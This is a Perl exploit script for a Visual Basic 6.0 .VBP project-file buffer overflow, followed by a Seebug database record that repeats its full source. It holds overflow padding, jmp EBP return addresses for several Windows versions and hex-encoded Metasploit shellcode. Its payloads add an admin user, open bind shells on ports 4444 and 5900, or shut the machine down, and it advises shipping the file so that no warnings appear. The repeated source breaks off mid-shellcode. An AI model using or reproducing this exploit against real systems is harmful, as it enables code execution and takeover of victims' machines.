"\x48\x46\x42\x52\x4b\x56\x42\x33\x43\x57\x4a\x56\x41\x53\x42\x32".
"\x45\x37\x42\x32\x44\x56\x41\x43\x46\x37\x43\x46\x4a\x56\x44\x32".
"\x42\x30\x5a";
$endQuote = "\x22";
$i = $ARGV[0];
if ($i==1){
print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc1$endQuote$koshi";
exit;
}
if ($i==2){
print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc2$endQuote$koshi";
exit;
}
if ($i==3){
print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc3$endQuote$koshi";
exit;
}
if ($i==4){
print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc4$endQuote$koshi";
exit;
}
if ($i==5){
print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc5$endQuote$koshi";
exit;
}
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++ +++\n";
print " +++ +++\n";
print " +++ Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec +++\n";
print " +++ Written By Koshi +++\n";
print " +++ Greets: Rima my baby! Draven, thanks for helping. +++\n";
print " +++ +++\n";
print " +++ Usage Ex.: ./vb6.pl 1 >>Project1.vbp +++\n";
print " +++ +++\n";
print " +++ Options: +++\n";
print " +++ 1 - win32_exec CALC.EXE +++\n";
print " +++ 2 - win32_adduser Pass=4dmin User=koshi +++\n";
print " +++ 3 - win32_bind Port 4444 +++\n";
print " +++ 4 - win32_bind_vncinject Port 5900 +++\n";
print " +++ 5 - win32_exec shutdown -c \x22HAI VEn0m pw.. +++\n";
print " +++ +++\n";
print " +++ +++\n";
print " +++ Notes: Ship final .VBP file with a .FRM file to avoid +++\n";
print " +++ warnings in Visual Basic 6.0 +++\n";
print " +++ +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;
#EOF
{"id": "SSV:7225", "type": "seebug", "bulletinFamily": "exploit", "title": "Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec Exploit", "description": "No description provided by source.", "published": "2007-09-05T00:00:00", "modified": "2007-09-05T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.seebug.org/vuldb/ssvid-7225", "reporter": "Root", "references": [], "cvelist": [], "lastseen": "2017-11-19T22:02:16", "history": [], "viewCount": 2, "enchantments": {"vulnersScore": 7.2}, "enchantments_done": [], "objectVersion": "1.4", "sourceHref": "https://www.seebug.org/vuldb/ssvid-7225", "sourceData": "\n #!/usr/bin/perl\r\n#'\u00a0++\u00a0Microsoft\u00a0Visual\u00a0Basic\u00a06.0\u00a0Code\u00a0Execution\u00a00-Day\u00a0++\r\n#'\u00a0++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n#'++\u00a0Author:\u00a0Koshi\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0Email:\u00a0heykoshi\u00a0at\u00a0gmail\u00a0dot\u00a0com\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0Application:\u00a0Microsoft\u00a0Visual\u00a0Basic\u00a06.0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0Tested\u00a0on\u00a0Microsoft\u00a0Windows\u00a0XP\u00a0Home\u00a0Edition\u00a0SP2\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0Patched\u00a0&\u00a0Updated\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0The\u00a0vulnerable\u00a0buffer\u00a0exsists\u00a0in\u00a0the\u00a0.VBP\u00a0files\u00a0of\u00a0+\r\n#'++\u00a0Visual\u00a0Basic\u00a0projects.\u00a0You\u00a0can\u00a0jump\u00a0directly\u00a0to\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0the\u00a0shellcode,\u00a0or\u00a0jump\u00a0to\u00a0it\u00a0via\u00a0EBP.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0There\u00a0is\u00a0NO\u00a0restriction\u00a0of\u00a0shellcode\u00a0size\u00a0either.\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0Gr33tz:\u00a0Rima\u00a0my\u00a0baby\u00a0who\u00a0I\u00a0love\u00a0and\u00a0adore,\u00a0Draven\u00a0\u00a0+\r\n#'++\u00a0for\u00a0pointing\u00a0me\u00a0in\u00a0the\u00a0right\u00a0direction,\u00a0as\u00a0always.\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0This\u00a0exploit\u00a0is\u00a0for\u00a0educational\u00a0use\u00a0only,\u00a0blah.\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+\r\n#'+++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n#'+++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n#\r\n#\u00a0Ex.\u00a0of\u00a0Usage:\r\n#\u00a0perl\u00a0vb6.pl\u00a01\u00a0>>Project.vbp\r\n#\u00a0\r\n#\r\n$begin0\u00a0=\u00a0"\\x54\\x79\\x70\\x65\\x3D\\x45\\x78\\x65\\x0D\\x0A\\x46\\x6F\\x72\\x6D".\r\n\t\u00a0\u00a0"\\x3D\\x46\\x6F\\x72\\x6D\\x31\\x2E\\x66\\x72\\x6D\\x0D\\x0A";\r\n\r\n$begin1\u00a0=\u00a0"\\x52\\x65\\x66\\x65\\x72\\x65\\x6E\\x63\\x65\\x3D".\r\n\t\u00a0\u00a0"\\x2A\\x5C\\x47\\x7B\\x30\\x30\\x30\\x32\\x30\\x34\\x33\\x30\\x2D\\x30".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x30\\x30\\x30\\x2D\\x30\\x30\\x30\\x30\\x2D\\x43\\x30\\x30\\x30\\x2D".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x34\\x36\\x7D\\x23".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x32\\x2E\\x30\\x23\\x30\\x23\\x2E\\x2E\\x5C\\x2E\\x2E\\x5C\\x2E\\x2E".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x5C\\x2E\\x2E\\x5C\\x2E\\x2E\\x5C\\x57\\x49\\x4E\\x44\\x4F\\x57\\x53".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x5C\\x73\\x79\\x73\\x74\\x65\\x6D\\x33\\x32\\x5C\\x73\\x74\\x64\\x6F".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x6C\\x65\\x32\\x2E\\x74\\x6C\\x62\\x23\\x4F\\x4C\\x45\\x20\\x41\\x75".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x74\\x6F\\x6D\\x61\\x74\\x69\\x6F\\x6E";\r\n\r\n$begin2\u00a0=\u00a0"\\x0D\\x0A\\x53\\x74\\x61\\x72\\x74\\x75\\x70\\x3D\\x22\\x46\\x6F\\x72\\x6D\\x31\\x22\\x0D\\x0A".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x33\\x32\\x3D\\x22\\x22";\r\n\r\n$BuffOf\u00a0=\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\t\u00a0\u00a0"\\x41\\x41\\x41\\x41";\r\n\r\n$codeAddr\u00a0=\u00a0"\\x83\\x25\\x40\\x01";\r\n#\u00a0You\u00a0can\u00a0most\u00a0likely\u00a0use\u00a0a\u00a0call\u00a0or\u00a0a\u00a0push,\u00a0you\u00a0could\u00a0probably\u00a0use\u00a0them\u00a0from\u00a0kernel32.dll\u00a0too.\r\n#*\u00a0ntdll.dll\u00a0\u00a0\u00a0\u00a0-\u00a00x7C923DA3\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0jmp\u00a0Ebp\u00a0****\u00a0Is\u00a0the\u00a0one\u00a0i\u00a0have\u00a0used\u00a0in\u00a0this\u00a0example.\r\n#\u00a00x77f6d42f\u00a0\u00a0\tjmp\u00a0ebp\u00a0\u00a0\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.2.3790.3)\u00a0\tWindows\u00a02003\u00a0Server\u00a05.2.0.0\u00a0SP0\u00a0(IA32)\r\n#\u00a00x77f7d9b6\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.1.2600.11061)\u00a0\tWindows\u00a0XP\u00a05.1.1.0\u00a0SP1\u00a0(IA32)\r\n#\u00a00x77f8c449\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.0.2163.1)\u00a0\tWindows\u00a02000\u00a05.0.0.0\u00a0SP0\u00a0(IA32)\r\n#\u00a00x77faa6ce\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.2.3790.3)\u00a0\tWindows\u00a02003\u00a0Server\u00a05.2.0.0\u00a0SP0\u00a0(IA32)\r\n#\u00a00x7c85eb73\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.2.3790.1830031)\u00a0Windows\u00a02003\u00a0Server\u00a05.2.1.0\u00a0SP1\u00a0(IA32)\r\n#\u00a00x7c8839ed\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.2.3790.1830031)\u00a0Windows\u00a02003\u00a0Server\u00a05.2.1.0\u00a0SP1\u00a0(IA32)\r\n#*0x7c923da3\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(English\u00a0/\u00a05.1.2600.21802)\u00a0\tWindows\u00a0XP\u00a05.1.2.0\u00a0SP2\u00a0(IA32)\r\n#\u00a00x77f8c449\u00a0\tjmp\u00a0ebp\u00a0\u00a0\u00a0\tntdll.dll\u00a0\u00a0(French\u00a0/\u00a05.0.2163.1)\u00a0\tWindows\u00a02000\u00a05.0.0.0\u00a0SP0\u00a0(IA32)\r\n#\u00a00x77f6d9b6\u00a0\u00a0\tjmp\u00a0ebp\u00a0\u00a0\u00a0\tntdll.dll\u00a0\u00a0(German\u00a0/\u00a05.1.2600.11061)\u00a0\tWindows\u00a0XP\u00a05.1.1.0\u00a0SP1\u00a0(IA32)\r\n#\u00a00x7c933da3\u00a0\tjmp\u00a0ebp\u00a0\u00a0\tntdll.dll\u00a0\u00a0(German\u00a0/\u00a05.1.2600.21802)\u00a0\tWindows\u00a0XP\u00a05.1.2.0\u00a0SP2\u00a0(IA32)\r\n#\u00a00x77f5d42f\u00a0\u00a0\tjmp\u00a0ebp\u00a0\u00a0\u00a0\tntdll.dll\u00a0\u00a0(Italian\u00a0/\u00a05.2.3790.3)\u00a0\tNo\u00a0associated\u00a0versions\r\n#\u00a00x77f6d9b6\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(Italian\u00a0/\u00a05.1.2600.11061)\u00a0\tWindows\u00a0XP\u00a05.1.1.0\u00a0SP1\u00a0(IA32)\r\n#\u00a00x77f8c449\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(Italian\u00a0/\u00a05.0.2163.1)\u00a0\tWindows\u00a02000\u00a05.0.0.0\u00a0SP0\u00a0(IA32)\r\n#\u00a00x77f9a6ce\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(Italian\u00a0/\u00a05.2.3790.3)\u00a0\tNo\u00a0associated\u00a0versions\r\n#\u00a00x7c96eb73\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(Italian\u00a0/\u00a05.2.3790.1830031)\tNo\u00a0associated\u00a0versions\r\n#\u00a00x7c9939ed\u00a0\tjmp\u00a0ebp\u00a0\tntdll.dll\u00a0\u00a0(Italian\u00a0/\u00a05.2.3790.1830031)\tNo\u00a0associated\u00a0versions\r\n#\u00a0...backwards..if\u00a0you\u00a0don't\u00a0know\u00a0why,\u00a0then\u00a0gtfo.\r\n$jmpEbp\u00a0=\u00a0"\\xA3\\x3D\\x92\\x7C";\r\n$fourSkin\u00a0=\u00a0"\\x44\\x44\\x44\\x44";\r\n\r\n\r\n$begin3\u00a0=\u00a0"\\x0D\\x0A\\x4E\\x61\\x6D\\x65\\x3D\\x22\\x50\\x72\\x6F\\x6A\\x65\\x63".\r\n\t\u00a0\u00a0"\\x74\\x31\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41";\r\n\r\n$koshi\u00a0=\u00a0"\\x0D\\x0A\\x48\\x65\\x6C\\x70\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x49\\x44\\x3D\\x22\\x30\\x22\\x0D\\x0A\\x43\\x6F\\x6D".\r\n\t\u00a0"\\x70\\x61\\x74\\x69\\x62\\x6C\\x65\\x4D\\x6F\\x64\\x65\\x3D\\x22\\x30\\x22\\x0D\\x0A\\x4D\\x61\\x6A\\x6F\\x72\\x56\\x65".\r\n\t\u00a0"\\x72\\x3D\\x31\\x0D\\x0A\\x4D\\x69\\x6E\\x6F\\x72\\x56\\x65\\x72\\x3D\\x30\\x0D\\x0A\\x52\\x65\\x76\\x69\\x73\\x69\\x6F".\r\n\t\u00a0"\\x6E\\x56\\x65\\x72\\x3D\\x30\\x0D\\x0A\\x41\\x75\\x74\\x6F\\x49\\x6E\\x63\\x72\\x65\\x6D\\x65\\x6E\\x74\\x56\\x65\\x72".\r\n\t\u00a0"\\x3D\\x30\\x0D\\x0A\\x53\\x65\\x72\\x76\\x65\\x72\\x53\\x75\\x70\\x70\\x6F\\x72\\x74\\x46\\x69\\x6C\\x65\\x73\\x3D\\x30".\r\n\t\u00a0"\\x0D\\x0A\\x43\\x6F\\x6D\\x70\\x69\\x6C\\x61\\x74\\x69\\x6F\\x6E\\x54\\x79\\x70\\x65\\x3D\\x30\\x0D\\x0A\\x4F\\x70\\x74".\r\n\t\u00a0"\\x69\\x6D\\x69\\x7A\\x61\\x74\\x69\\x6F\\x6E\\x54\\x79\\x70\\x65\\x3D\\x30\\x0D\\x0A\\x46\\x61\\x76\\x6F\\x72\\x50\\x65".\r\n\t\u00a0"\\x6E\\x74\\x69\\x75\\x6D\\x50\\x72\\x6F\\x28\\x74\\x6D\\x29\\x3D\\x30\\x0D\\x0A\\x43\\x6F\\x64\\x65\\x56\\x69\\x65\\x77".\r\n\t\u00a0"\\x44\\x65\\x62\\x75\\x67\\x49\\x6E\\x66\\x6F\\x3D\\x30\\x0D\\x0A\\x4E\\x6F\\x41\\x6C\\x69\\x61\\x73\\x69\\x6E\\x67\\x3D".\r\n\t\u00a0"\\x30\\x0D\\x0A\\x42\\x6F\\x75\\x6E\\x64\\x73\\x43\\x68\\x65\\x63\\x6B\\x3D\\x30\\x0D\\x0A\\x4F\\x76\\x65\\x72\\x66\\x6C".\r\n\t\u00a0"\\x6F\\x77\\x43\\x68\\x65\\x63\\x6B\\x3D\\x30\\x0D\\x0A\\x46\\x6C\\x50\\x6F\\x69\\x6E\\x74\\x43\\x68\\x65\\x63\\x6B\\x3D".\r\n\t\u00a0"\\x30\\x0D\\x0A\\x46\\x44\\x49\\x56\\x43\\x68\\x65\\x63\\x6B\\x3D\\x30\\x0D\\x0A\\x55\\x6E\\x72\\x6F\\x75\\x6E\\x64\\x65".\r\n\t\u00a0"\\x64\\x46\\x50\\x3D\\x30\\x0D\\x0A\\x53\\x74\\x61\\x72\\x74\\x4D\\x6F\\x64\\x65\\x3D\\x30\\x0D\\x0A\\x55\\x6E\\x61\\x74".\r\n\t\u00a0"\\x74\\x65\\x6E\\x64\\x65\\x64\\x3D\\x30\\x0D\\x0A\\x52\\x65\\x74\\x61\\x69\\x6E\\x65\\x64\\x3D\\x30\\x0D\\x0A\\x54\\x68".\r\n\t\u00a0"\\x72\\x65\\x61\\x64\\x50\\x65\\x72\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3D\\x30\\x0D\\x0A\\x4D\\x61\\x78\\x4E\\x75\\x6D\\x62".\r\n\t\u00a0"\\x65\\x72\\x4F\\x66\\x54\\x68\\x72\\x65\\x61\\x64\\x73\\x3D\\x31\\x0D\\x0A\\x0D\\x0A\\x5B\\x4D\\x53\\x20\\x54\\x72\\x61".\r\n\t\u00a0"\\x6E\\x73\\x61\\x63\\x74\\x69\\x6F\\x6E\\x20\\x53\\x65\\x72\\x76\\x65\\x72\\x5D\\x0D\\x0A\\x41\\x75\\x74\\x6F\\x52\\x65".\r\n\t\u00a0"\\x66\\x72\\x65\\x73\\x68\\x3D\\x31\\x0D\\x0A";\r\n\r\n#\u00a0win32_exec\u00a0-\u00a0\u00a0EXITFUNC=seh\u00a0CMD=calc.exe\u00a0Size=351\u00a0Encoder=PexAlphaNum\u00a0http://metasploit.com\r\n$shellc1\u00a0=\u00a0"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49".\r\n\u00a0\u00a0\t\u00a0\u00a0\u00a0"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36".\u00a0\r\n\t\u00a0\u00a0\u00a0"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41".\r\n\t\u00a0\u00a0\u00a0"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x50\\x42\\x30\\x42\\x50\\x4b\\x38\\x45\\x44\\x4e\\x43\\x4b\\x38\\x4e\\x47".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x30\\x4a\\x47\\x41\\x30\\x4f\\x4e\\x4b\\x48\\x4f\\x54\\x4a\\x41\\x4b\\x38".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x55\\x42\\x52\\x41\\x30\\x4b\\x4e\\x49\\x54\\x4b\\x48\\x46\\x33\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x50\\x50\\x4e\\x41\\x43\\x42\\x4c\\x49\\x59\\x4e\\x4a\\x46\\x48\\x42\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x47\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x50\\x41\\x50\\x44\\x4c\\x4b\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x4f\\x4b\\x43\\x46\\x35\\x46\\x52\\x46\\x30\\x45\\x37\\x45\\x4e\\x4b\\x58".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x45\\x46\\x42\\x41\\x50\\x4b\\x4e\\x48\\x46\\x4b\\x48\\x4e\\x30\\x4b\\x44".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x48\\x4f\\x35\\x4e\\x41\\x41\\x30\\x4b\\x4e\\x4b\\